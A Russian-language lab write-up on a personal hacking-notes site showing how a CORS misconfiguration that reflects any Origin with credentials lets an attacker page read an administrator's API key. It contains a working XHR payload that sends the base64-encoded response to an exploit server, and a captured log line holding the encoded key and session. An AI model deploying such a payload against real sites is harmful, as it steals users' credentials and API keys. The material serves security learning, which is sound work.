> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/cors/cors-basic-origin-reflection.md).

# Базовое отражение Origin в CORS

### Уязвимость CORS с базовым отражением Origin

Использование слишком разрешительной конфигурации CORS (сервер доверяет любому origin) для получения API-ключа от администратора через кросс-доменный запрос с `учётными данными` и отправки ответа на наш сервер эксплуатации. Упражнение считается решённым, когда API-ключ администратора отправлен на сервер эксплуатации.

<figure><img src="/files/714cd06e86d27be50b596a2e57100db300424c29" alt=""><figcaption></figcaption></figure>

* Предоставленные данные для подключения: `wiener:peter`.
* Код на стороне страницы извлекает API-ключ из `/accountDetails` и отображает:

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="/files/a83b4067c5e8000e56755673d62196e680e80504" alt=""><figcaption></figcaption></figure>

Заголовки указывают `Access-Control-Allow-Credentials: true` (сервер принимает запросы с cookies/учётными данными).

<figure><img src="/files/bf5ef1921ecb636eea1ece860e2452ee65e89c33" alt=""><figcaption></figcaption></figure>

* При проверке запроса с `Origin: jord4n.pro` заголовком ответ возвращается (отражённый origin принимается).

```javascript
Origin: jord4n.pro
```

* Сервер отражает/разрешает отправленный origin, поэтому страница под контролем атакующего может выполнить `XMLHttpRequest`  или `fetch` на `/accountDetails` с включением cookies жертвы (`withCredentials = true`) и получить JSON-ответ, содержащий API-ключ.

<figure><img src="/files/5a59accea385a9639559d5d72044b6825425c040" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/bb5184c0de0b301e27dc3e25ed38651746aacef6" alt="" width="483"><figcaption></figcaption></figure>

Как только ответ прочитан, его можно передать на сервер (например, закодировав в base64) для сбора.

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/cf5a87a159ffef91bd1aca55a14ff23a1cb17d59" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Жертва) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

Работающий сервер получил GET-запрос, содержащий закодированный ответ, например:

<figure><img src="/files/37924bee45b66c8d309dffbc22d2aadb71fb587b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/cors/cors-basic-origin-reflection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
